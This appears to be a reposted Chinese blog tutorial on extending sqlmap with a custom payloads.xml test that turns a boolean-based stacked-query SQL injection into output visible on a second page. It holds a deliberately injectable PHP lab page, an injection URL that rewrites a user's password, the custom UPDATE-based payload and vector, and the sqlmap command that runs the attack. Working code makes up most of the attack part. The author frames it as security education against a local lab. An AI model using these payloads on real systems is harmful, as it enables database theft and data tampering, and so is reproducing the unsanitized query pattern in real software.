Sqlmap进阶:定制payload加速boolean-based注入

文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用。

大家在玩SQL注入的时候大概都遇到过一种特别鸡肋的情况:目标只有支持多语句查询的boolean-based注入点(比如CVE-2014-3704)。我们很单纯地想下载数据库,却只能用sqlmap10线程一位一位获取。这样的龟速根本就是反人类!那边跑着sqlmap这边还不能溜掉,说不定就要你按个“Y”。

不过,既然支持多语句就有另一种思路可以提速:把注入语句的执行结果update到另一个可见页面上,这样就可以直接获取注入语句的输出了。然而sqlmap本身并没有这个功能。

 

本文主要向读者介绍sqlmap的payloads自定义,以及如何基于它们,利用二阶注入功能,让boolean-based注入点转化成error-based,加速测试过程。

实验环境搭建:

实验用数据库是基于sqli靶机环境的

另有两个php分别作为上图中的页面一和页面二

test.php:

  1. <?php  
  2. function db_connect() {  
  3.     @ $db = new mysqli ( 'localhost', 'root', '********', 'security' );  
  4.     // echo "out";  
  5.     if (mysqli_connect_errno ()) {  
  6.         echo "Error: Could not connect to database.  Please try again later.";  
  7.         return null;  
  8.     }  
  9.     return $db;  
  10. }  
  11. $db = db_connect ();  
  12. $id=$_GET['id'];  
  13. $query ="SELECT * FROM users WHERE id='$id' ;";  
  14. //echo $query;  
  15. $result = $db->multi_query( $query );  
  16. $result = $db->multi_query( 'select * from SLEEP(5)');  
  17. $result = $db->store_result();  
  18. //echo $num_results = $result->num_rows;  
  19. echo $result->fetch_assoc()['username'];  
  20. //echo $result->fetch_assoc ()['username'];  
  21. $db->close ();  
  22. ?> 

test1.php

  1. <?php  
  2. function db_connect() {  
  3.     @ $db = new mysqli ( 'localhost', 'root', '********', 'security' );  
  4.     // echo "out";  
  5.     if (mysqli_connect_errno ()) {  
  6.         echo "Error: Could not connect to database.  Please try again later.";  
  7.         return null;  
  8.     }  
  9.     return $db;  
  10. }  
  11. $db = db_connect ();  
  12. $query ="SELECT * FROM users WHERE id='10' ;";  
  13. //echo $query;  
  14. $result = $db->query( $query );  
  15. echo $result->fetch_assoc()['password'];  
  16.  
  17. $db->close ();  
  18. ?> 

显然test.php存在支持多语句执行的SQL注入漏洞

于是我们请求

http://127.0.0.1/sqli/test.php?id=1%27;update%20users%20set%20password%20=%20%27freebuffreebuf%27%20where%20id%20=%20%2710

就成功修改了password字段

 

可见这种思路是可行的。

Sqlmap的修改:

首先,我们先了解sqlmap是如何工作的:

sqlmap启动后首先设置测试的level和risk,并识别受测试元素的类型

然后从它的配置文件xml/payloads.xml里面获取应该测试的漏洞类型、测试方法以及相应的漏洞利用方案

在payloads.xml里面记录了两类数据(如果您听得云里雾里的,请看看我翻译的payloads.xml说明):

:用来使sql语句正确的前缀和后缀。比如前缀:”‘”和后缀:”AND ‘[RANDSTR]’='[RANDSTR]”就可以闭合单引号,防止出错。

:特定漏洞的全部信息,包括所用到的boundary,漏洞的level、risk,漏洞类型,利用的方法,检测方法等。

在测试一个参数的时候sqlmap会遍历所有符合要求的test节点,使用request节点下的payload执行漏洞扫描。

最后请求的内容是(括号里只是举例):

原参数

(id=1)+prefix (')+payload(AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))+comment(注释符这里没有)+suffix(AND 'few'='few)

然后再用response节点下的某种检测方式进行检测。

这里我们的思路的核心就是输出明文,与error-based相似,因此使用error-based漏洞常使用的正则表达式进行输出的获取:

  1. <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> 

其中[DELIMITER_START]和[DELIMITER_STOP]是用来匹配输出开头和结尾的随机生成的字符串

想必payload应该与之对应

  1. <payload>;update users set password = CONCAT('[DELIMITER_START]',1,'[DELIMITER_STOP]') where id = </payload> 

这里请注意在error-based漏洞的检测中sqlmap是用获取的输出(即在[DELIMITER_START]和[DELIMITER_STOP]之间的部分)为1来初步确定漏洞的存在的。

上述语句就把输出的内容UPDATE成了[DELIMITER_START]+”1″+[DELIMITER_STOP]使得此漏洞被检测出存在。

检测说完了,说说利用:

利用的语句受vector节点控制,有了payload就可以对照写出来了

  1. <vector>;update users set password = CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') where id =</vector> 

这里的[QUERY]就是执行的漏洞利用语句,输出还是会被正则获取

于是就有了最终的自定义test

  1. <test>  
  2.         <title>MySQL Customized  update query based test </title>  
  3.         <stype>2</stype>  
  4.         <level>1</level>  
  5.         <risk>0</risk>  
  6.         <clause>1</clause>  
  7.         <where>1</where>  
  8.         <vector>;update users set password = CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') where id =</vector>  
  9.         <request>  
  10.             <payload>;update users set password = CONCAT('[DELIMITER_START]',1,'[DELIMITER_STOP]') where id = </payload>  
  11.         </request>  
  12.         <response>  
  13.             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>  
  14.         </response>  
  15.         <details>  
  16.             <dbms>MySQL</dbms>  
  17.             <dbms_version>&gt;= 5.0.11</dbms_version>  
  18.         </details>  
  19.     </test> 

我们把这段代码加入到payloads.xml里面(root节点里面哦),然后基于这个自定义的测试配置和二阶SQL注入,写我们的命令:

  1. sqlmap -u 127.0.0.1/sqli/test.php?id=1 --second-order test1.php -v 3 --level 1 --suffix "'10" 

请注意上述语句我重定义了后缀。

看看效果:

可用了!

至此,我们已经成功让一个慢得要死的boolean-based注入点进化成为了确确实实人见人爱的error-based注入点,妈妈再也不用注入速度太慢了~

快快dump一下来体会这速度带来的快感吧。

P.S:多次对比过程中不要忘了删掉sqlmap的本地缓存。

参考:sqlmap源代码

本文作者:piece of the past,联系方式:[email protected]

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/128072.html<

赞 (0)
管理的头像管理
上一篇2025-02-24 23:34
下一篇 2025-02-24 23:36

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注